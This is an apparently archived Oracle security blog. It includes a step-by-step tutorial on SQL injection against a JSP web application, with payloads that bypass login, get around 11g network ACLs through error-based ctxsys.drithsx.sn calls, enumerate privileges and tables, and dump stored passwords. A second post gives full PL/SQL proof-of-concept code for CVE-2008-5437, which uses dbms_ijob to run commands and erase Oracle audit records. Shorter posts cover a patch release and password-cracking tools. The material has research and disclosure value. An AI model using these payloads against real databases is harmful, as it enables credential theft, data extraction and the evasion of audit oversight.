Archive for the ‘Oracle Security’ Category

Tutorial: Oracle SQL Injection in Webapps – Part I

Samstag, Januar 17th, 2009

This blog entry will show a SQL Injection example based on a JSP application (tnx to Slavik) and Oracle 11.1.0.7. An Oracle SQL Injection Cheat Sheet is available on our webpage.

With Oracle 11g, Oracle introduced some  security enhancements by default, e.g. the ACL for PLSQL packages accessing the network. These packages are UTL_HTTP, UTL_INADDR, UTL_TCP, … Some old well known tricks like the usage of utl_inaddr are no longer working for non-DBAs in 11g… The following tutorial will show how to bypass these restrictions and will show some new tricks…

First we start with with a vulnerable webapp:

Oracle SQL Injection Picture 1

In this webapp we can login to an employee directory. If we try to guess a valid combination, e.g. scott / tiger we are getting an error message

Oracle SQL Injection

OK, let’s try to use a single quote ‚ as a user login. And BANG – ERROR

Oracle SQL Injection Picture 3

„ORA-01756 – Anführungsstrich fehlt bei Zeichenfolge“.

If you do not speak german, you can lookup in google for the english translation of this error message. This is not uncommon to receive an error message in a foreign language (if you work internationally).

There are several website so I take the first finding. The translation is „ORA-01756: quoted string not properly terminated“. This is a  common error message of a SQL Injection vulnerability.

A typical SQL Injection string is

‚ or 1=1–

If we use this string, we are getting the following result:

Oracle SQL Injection Picture 4

By using ‚ or 1=1– we successfully logged on into the system. But we are interested in the data not in the account of the webapp.

Oracle SQL Injection Picture 5

We are able to inject our own code. This page does not return data from the database so the usage of UNION SELECT is not an option.

But what are now the next steps?

1. Enumeration of the database:
Let’s find out the version number of the Oracle database:

Now we try to inject the following command in the login field

‚ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))–

Oracle SQL Injection Picture 6

Again an ORA-01756 error. This time it is a different problem. The field for the login  is limited to 50 characters but our string we are injecting is longer. That’s why we are converting the POSTs to GETs.
The webdeveloper plugin for firefox can do this (+ many other different ways like saving the webpage locally, removing restrictions online, …).

After doing the conversion from POSTs to GETs we can modify the injected string in the URL:

Oracle SQL Injection Picture 8

Again we are getting a german error message:
ORA-24247 Netzwerkzugriff von Access Control List (ACL) abgelehnt.

A quick lookup shows the english translation:

ORA-24247  network access denied by access control list (ACL)

OK, the default hardening from Oracle is working. We are not able to send information via DNS or create a specially crafted error message using utl_inaddr.

I was looking for an alternative and I found the following function :
ctxsys.drithsx.sn

So we replace utl_inaddr with ctxsys.drithsx.sn (+ and one additional parameter).

Our new injection is looks like:

‚ or 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))–

After injection this we are getting the following error message

Oracle SQL Injection Picture 9

ORA-20000: Oracle Text-Fehler
DRG-11701: Thesaurus Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 – Production ist nicht vorhanden

The error message contains the Database version. The reason for this behaviour is our injected string contains the result of the query  (select banner from v$version where rownum=1) in the error message. This query returns the first row of v$version.

Injecting error messages is normally limited to 1 column and 1 row. The limitation of 1 column can be bypassed using the string concatenation || (col1||col2). To bypass the limitation of multiple rows, most pentesters enumerate through the various columns using the  rownum.

But Oracle 11g offers a new function: stragg

This functions can convert multiple rows into a single row. In one of the next tutorial I will show how to do this in Oracle 9 and 10.  We can now use the function stragg to get all columns in the error message:

‚ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct banner)||‘ ‚ from v$version))–

Oracle SQL Injection Picture 9a

Now we have everything to retrieve all data (according to our privileges) from the database

Let’s see what privileges we have

‚ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct granted_role||‘;‘) from user_role_privs))–

Oracle SQL Injection Picture 10

We have CONNECT and RESOURCE role.

The next step is to get all tables with a password column:

‚ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct owner||‘.’||table_name||'[‚||data_type||‘];‘) from all_tab_columns where column_name=’PASSWORD‘))–

Oracle SQL Injection Picture 11

There is a table called SHOP.SHOPUSER. We are now using the following command to extract all passwords from this table.

‚ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct password||‘;‘) from shop.shopuser))–
Oracle SQL Injection Picture 12

Using this approach we can retrieve all table content without using UNION SELECT from the table.

SUMMARY of the used injected commands:

‚ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))–

‚ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct granted_role||‘;‘) from user_role_privs))–

‚ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct owner||‘.’||table_name||'[‚||data_type||‘];‘) from all_tab_columns where column_name=’PASSWORD‘))–

‚ or 1=utl_inaddr.get_host_address((select sys.stragg(distinct password||‘;‘) from shop.shopuser))–

Proof-of-concept how to bypass Oracle Auditing using DBMS_IJOB

Freitag, Januar 16th, 2009

Here is the proof of concept code for the issue in dbms_ijob [CVE-2008-5437] from Volker Solinus, a really smart DBA, my former colleague from Oracle Consulting Germany.

A different bug concerning Auditing reported by us is still open. Oracle Auditing alone is not sufficient because there are various ways to bypass it. . Often it is better to use a 3rd-party solution like Hedgehog from Sentrigo.

— Bypassing Oracle Auditing
— Everything executed via dbms_ijob (granted to DBAs by default)
— will not appear in the Oracle auditing
— by Volker Solinus

declare
jj    integer := 666666;    — job number
begin
sys.dbms_ijob.submit(
JOB =>        jj,
LUSER =>    ‚SYS‘,
PUSER =>    ‚SYS‘,
CUSER =>    ‚SYS‘,
NEXT_DATE =>    sysdate,
INTERVAL =>    null,
BROKEN =>    false,
WHAT =>        ‚
declare
jj    integer := ‚||jj||‘;
begin
execute immediate “alter system archive log current“;
sys.dbms_ijob.remove(jj);
delete from sys.aud$ where obj$name = “DBMS_IJOB“;
commit;
end;‘,
NLSENV =>     ‚NLS_LANGUAGE=“AMERICAN“ NLS_TERRITORY=“AMERICA“ NLS_CURRENCY=“$“ NLS_ISO_CURRENCY=“AMERICA“ NLS_NUMERIC_CHARACTERS=“.,“ NLS_DATE_FORMAT=“DD-MON-RR“ NLS_DATE_LANGUAGE=“AMERICAN“ NLS_SORT=“BINARY“‘,
ENV =>        hextoraw(‚0102000200000000‘));
sys.dbms_ijob.run(jj);
exception when others then
if sqlcode=-12011 then
sys.dbms_ijob.remove(jj);
end if;
raise;
end;
/
After applying the January CPU 2009 you will get the following error message:

ERROR at line 1:
ORA-12718: operation requires connection as SYS
ORA-06512: at line 32

Oracle Critical Patch Update January 2009 is out

Dienstag, Januar 13th, 2009

Oracle just released the January 2009 CPU.

The database part of this CPU contains fixes for 10 vulnerabilities in the Oracle database. This time Oracle fixed 3 of our vulnerabilities (2 in the database) and 1 in JDeveloper (reported 2005, CVE-2008-2623).

15 researchers are mentioned in this report (2 from Red-Database Security (Franz Hüll and I). The usual suspect (Esteban, Joxean and David) are part of the reporters too.

The most critical bug (CVE-2008-5437) allows any user with execute privileges on dbms_ijob (e.g. DBA or hacker/user with DBA privs) to bypass Oracle Auditing completely. This means no traces in the AUD$ and/or the operating system! All databases are affected.

Before I will release details for this issue I must check the patches from Oracle what bug Oracle has fixed. I reported 2 different bugs to Oracle where you can bypass Auditing. The exploit and idea for one of the bugs came from my former Oracle colleague Volker Solinus.

The second bug from us  is a SQL injection bug in  DBMS_STREAMS_AUTH (CVE-2008-4015). Here it is possible to become DBA.

More details within the next days.

Inguma 0.1.0 (R1) released

Dienstag, Dezember 30th, 2008

Yesterday the new version of Inguma (0.1.0 (R1), an exploit framework with support for many systems e.g. Oracle, DB2, Informix,… , was released.

This new version of Inguma comes with a lot of new features. Joxean has added the module liboracleinternals.py. At the moment this script is only creating oracle password files (from version 8 to 11) but in future we will see more…

New version of cain with support for 11g passwords

Sonntag, Dezember 14th, 2008

2 weeks ago, Massimiliano Montoro aka Mao, released a new version of Cain & Abel.

Here some of the new features of Cain & Abel v4.9.25:

– Oracle 11g (case sensitive) Password Extractor via ODBC.
– Added Oracle 11g Password Cracker (Dictionary and Brute-Force Attacks).
– Added support for Oracle TNS 11g (AES-192) in Oracle TNS Hashes Password Cracker.
– Added support for Oracle TNS 11g (AES-192) in Oracle TNS sniffer filter.
– Experimental SQL Query tool via ODBC.

Cain Screenshot

The  AES implementation of Cain is slower than the implementation of GSAuditor (6,172,839 vs 2,654,719 on a 2.4 GHz C2D E4600)  but 2.6 Million passwords per second (via brute force) is still quite fast.

Massimilano wrote also 3 interesting whitepapers about the TNS authentication based on László Tóth work. Instead of using the oran10.dll/oran11.dll Mao is using the OpenSSL library:

Oracle 9i TNS 3DES authentication details 
Oracle 10g TNS AES-128 authentication details
Oracle 11g TNS AES-192 authentication details